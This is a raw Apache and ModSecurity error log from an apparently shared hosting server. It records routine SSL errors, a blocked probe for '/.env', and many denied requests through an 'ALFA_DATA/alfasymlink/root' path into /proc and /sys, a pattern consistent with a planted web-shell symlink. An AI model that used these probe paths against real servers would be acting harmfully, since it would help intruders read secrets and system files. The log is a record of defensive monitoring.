[Sun Oct 25 10:04:56.813244 2026] [security2:error] [pid 2806348:tid 2806348] [client 185.191.171.1:57532] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/VIA686A.conf"] [unique_id "at4MiA-YVEbWS5meiuhlOQAAAAw"]
[Sun Oct 25 10:04:56.813779 2026] [security2:error] [pid 2806348:tid 2806348] [client 185.191.171.1:57532] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/VIA686A.conf"] [unique_id "at4MiA-YVEbWS5meiuhlOQAAAAw"]
[Sun Oct 25 10:04:58.255957 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 52.2.191.202:36291] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:03/firmware_node/physical_node/subsystem/drivers_probe
[Sun Oct 25 10:05:06.206651 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 23.22.105.143:4799] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:05:10.192698 2026] [ssl:error] [pid 2842300:tid 2842300] (5)Input/output error: [client 184.72.95.195:50069] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:05:54.205672 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 54.210.155.69:43502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/subsystem/drivers/system/unbind
[Sun Oct 25 10:06:18.162051 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 34.197.28.78:34740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:06:22.298389 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.2.4.213:31988] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:06:30.200511 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 44.205.74.196:2132] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:06:38.316752 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.29.107.38:16586] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:06:42.967372 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 185.191.171.13:30944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_trie/usersize
[Sun Oct 25 10:06:50.158299 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 98.83.72.38:7916] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:07:02.177315 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 3.215.221.125:57158] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:07:06.147248 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 34.235.239.240:49676] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:07:14.169863 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 3.227.180.70:15282] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:07:18.162469 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 52.205.113.104:30927] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:07:22.360226 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.235.172.96:20117] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:07:34.166572 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.229.2.217:43768] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:07:42.204786 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 35.172.125.172:57982] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:07:50.146060 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 44.197.76.210:43386] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:07:53.707692 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 185.191.171.16:50510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/scsi_sense_cache/slabs_cpu_partial
[Sun Oct 25 10:07:58.187704 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 54.235.158.162:60325] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:08:06.165105 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 34.234.197.175:63222] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:08:10.139666 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 52.0.41.164:60355] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:08:18.167456 2026] [ssl:error] [pid 2842300:tid 2842300] (5)Input/output error: [client 23.23.212.212:56662] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:08:26.246943 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.204.253.129:2944] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:08:27.444702 2026] [security2:error] [pid 2815605:tid 2815605] [client 43.161.234.148:57862] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at4NWwYPMfHr0EMMDlnoFgAAABM"]
[Sun Oct 25 10:08:27.446035 2026] [authz_core:error] [pid 2815605:tid 2815605] [client 43.161.234.148:57862] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 10:08:34.144026 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 3.215.221.125:8872] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:08:36.537925 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 185.191.171.2:42190] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:08:42.140077 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.93.211.16:48492] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:08:50.200920 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.205.222.214:31679] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:08:54.300883 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 35.171.117.160:49042] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:09:03.046569 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 85.208.96.205:61932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/aliases
[Sun Oct 25 10:09:30.199566 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 52.2.83.227:19601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:09:38.165967 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.226.106.93:50684] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:09:46.149333 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 34.195.60.66:54618] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:09:54.165022 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 44.221.105.234:16317] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:10:07.153285 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.239.197.197:51223] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:10:18.144962 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 3.221.156.96:50950] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:10:27.013701 2026] [security2:error] [pid 2834008:tid 2834008] [client 43.135.145.77:33086] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at4N04xkYfnWL-SU_mhrYQAAAA0"], referer: http://sherwinpinturas.com
[Sun Oct 25 10:10:27.174783 2026] [authz_core:error] [pid 2834008:tid 2834008] [client 43.135.145.77:33086] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sun Oct 25 10:10:27.409146 2026] [core:error] [pid 2842300:tid 2842300] (13)Permission denied: [client 185.191.171.10:34256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/trace
[Sun Oct 25 10:10:30.161192 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 44.209.89.189:23456] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:10:46.143562 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 18.214.138.148:12460] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:10:47.033909 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 85.208.96.208:27132] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:10:50.170676 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 52.200.251.20:59727] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:10:54.233580 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 23.21.225.190:4095] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:10:58.158884 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 23.23.137.202:56251] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:11:06.171870 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 18.205.213.231:1801] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:11:14.298522 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.54.15.103:31229] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:11:22.175380 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 44.220.2.97:26613] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:11:30.170350 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.84.93.8:44310] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:11:42.159155 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 54.84.102.81:21064] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:11:53.303941 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 85.208.96.210:35776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:12:06.181236 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 44.196.118.6:2644] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/resource0
[Sun Oct 25 10:12:14.189667 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.209.89.189:62560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:12:17.254905 2026] [security2:error] [pid 2806348:tid 2806348] [client 130.12.180.165:17876] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4OQQ-YVEbWS5meiuhlSQAAAAw"]
[Sun Oct 25 10:12:17.255204 2026] [security2:error] [pid 2806348:tid 2806348] [client 130.12.180.165:17876] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4OQQ-YVEbWS5meiuhlSQAAAAw"]
[Sun Oct 25 10:12:17.255522 2026] [security2:error] [pid 2806348:tid 2806348] [client 130.12.180.165:17876] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4OQQ-YVEbWS5meiuhlSQAAAAw"]
[Sun Oct 25 10:12:22.139451 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 52.54.157.23:13768] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:12:22.225710 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.204:19550] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8k/objs_per_slab
[Sun Oct 25 10:12:27.897165 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 85.208.96.206:50636] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-256/slabs
[Sun Oct 25 10:12:34.142217 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 3.229.164.203:9971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:12:38.142521 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.223.116.180:18103] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:13:06.163344 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 44.217.177.142:25278] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:13:22.667149 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.205.222.214:25903] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:13:30.128720 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.4.238.8:46325] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:13:34.124250 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.203.152.231:20133] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:13:42.129112 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 52.54.95.127:55685] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/ohci-pci/unbind
[Sun Oct 25 10:14:02.789094 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 16.216.88.128:53248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/named.loopback
[Sun Oct 25 10:14:02.830799 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 52.2.83.227:38034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/remove
[Sun Oct 25 10:14:12.037261 2026] [security2:error] [pid 2834020:tid 2834020] [client 43.161.217.205:48536] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/plantas2/"] [unique_id "at4OtBus_mjnPB8X3pG-RQAAABI"]
[Sun Oct 25 10:14:30.176507 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 54.147.182.90:25994] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:14:34.228337 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 44.207.207.36:57196] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:14:38.522008 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 54.87.95.7:21639] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/pcspkr/unbind
[Sun Oct 25 10:14:46.419370 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 34.239.197.197:54959] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:14:50.219776 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 54.235.191.179:22047] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:14:50.219996 2026] [security2:error] [pid 2842300:tid 2842300] [client 54.235.191.179:22047] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/device:01/physical_node/local_cpus"] [unique_id "at4O2vrIyYTZs3Zw4AltbQAAAAE"]
[Sun Oct 25 10:14:50.220054 2026] [security2:error] [pid 2842300:tid 2842300] [client 54.235.191.179:22047] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/device:01/physical_node/local_cpus"] [unique_id "at4O2vrIyYTZs3Zw4AltbQAAAAE"]
[Sun Oct 25 10:14:54.297696 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 18.214.251.19:13589] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:15:02.505983 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 54.147.80.137:52992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_piix/remove_id
[Sun Oct 25 10:15:10.138082 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 23.23.103.31:51455] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory12/node0/memory4/subsystem/drivers_probe
[Sun Oct 25 10:15:12.829973 2026] [ssl:error] [pid 2834008:tid 2834008] (22)Invalid argument: [client 185.191.171.1:49778] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:15:12.863416 2026] [ssl:error] [pid 2842300:tid 2842300] (22)Invalid argument: [client 185.191.171.1:49790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:15:18.208493 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.224.205.25:58354] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:15:30.894954 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 18.208.11.93:32663] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:15:38.211619 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 98.82.66.172:64984] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:15:39.303387 2026] [core:error] [pid 2842301:tid 2842301] (13)Permission denied: [client 85.208.96.201:44602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_emulator/free_calls
[Sun Oct 25 10:15:46.177771 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 100.29.160.53:5002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:15:50.262257 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.205.222.214:20092] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:15:54.262223 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 44.195.50.71:26608] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:16:00.706269 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 85.208.96.197:36838] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:16:22.255979 2026] [ssl:error] [pid 2834008:tid 2834008] (5)Input/output error: [client 3.219.80.71:43376] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:16:34.136261 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 100.29.155.89:62047] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:16:42.151600 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.84.102.81:27963] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:16:58.312824 2026] [ssl:error] [pid 2806348:tid 2806348] (5)Input/output error: [client 3.221.156.96:39251] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:17:02.142286 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 44.217.255.167:59116] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input3/mouse1/device/subsystem/input5/device/driver/uevent
[Sun Oct 25 10:17:10.143923 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.93.253.174:39693] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:17:14.149947 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.213.85.234:26065] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:17:22.184185 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.4.229.9:22580] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:17:26.149702 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 52.204.174.139:20818] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:17:30.128544 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.215.59.93:16202] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:17:46.239176 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 34.192.67.98:36301] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:18:06.138028 2026] [ssl:error] [pid 2834020:tid 2834020] (5)Input/output error: [client 107.20.181.148:14473] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:18:06.429716 2026] [core:crit] [pid 2834008:tid 2834008] (13)Permission denied: [client 66.132.172.178:12516] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 10:18:09.963154 2026] [core:crit] [pid 2834025:tid 2834025] (13)Permission denied: [client 66.132.172.178:38292] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 10:18:13.704226 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.206:64922] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-1k/partial
[Sun Oct 25 10:18:14.139509 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 100.29.155.89:42776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:18:22.192493 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 100.29.128.75:41880] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:18:34.139557 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.4.229.9:41309] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:19:02.154956 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 35.171.141.42:39583] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:19:10.142197 2026] [security2:error] [pid 2834025:tid 2834025] [client 34.202.88.37:18287] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/driver/module/notes/"] [unique_id "at4P3qGxe7V6jzF5H8VNZQAAABg"]
[Sun Oct 25 10:19:10.142244 2026] [security2:error] [pid 2834025:tid 2834025] [client 34.202.88.37:18287] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/driver/module/notes/"] [unique_id "at4P3qGxe7V6jzF5H8VNZQAAABg"]
[Sun Oct 25 10:19:21.086859 2026] [authz_core:error] [pid 2834019:tid 2834019] [client 45.198.224.125:59462] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 10:19:26.141764 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 54.83.180.239:57573] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:19:42.131559 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.159.98.248:6825] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:19:54.133628 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 44.205.192.249:34012] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:19:58.171865 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 100.28.57.133:1529] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:20:06.268601 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 50.16.248.61:22979] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:20:34.135470 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.234.206.30:59013] AH02013: coalesce failed to read from data bucket
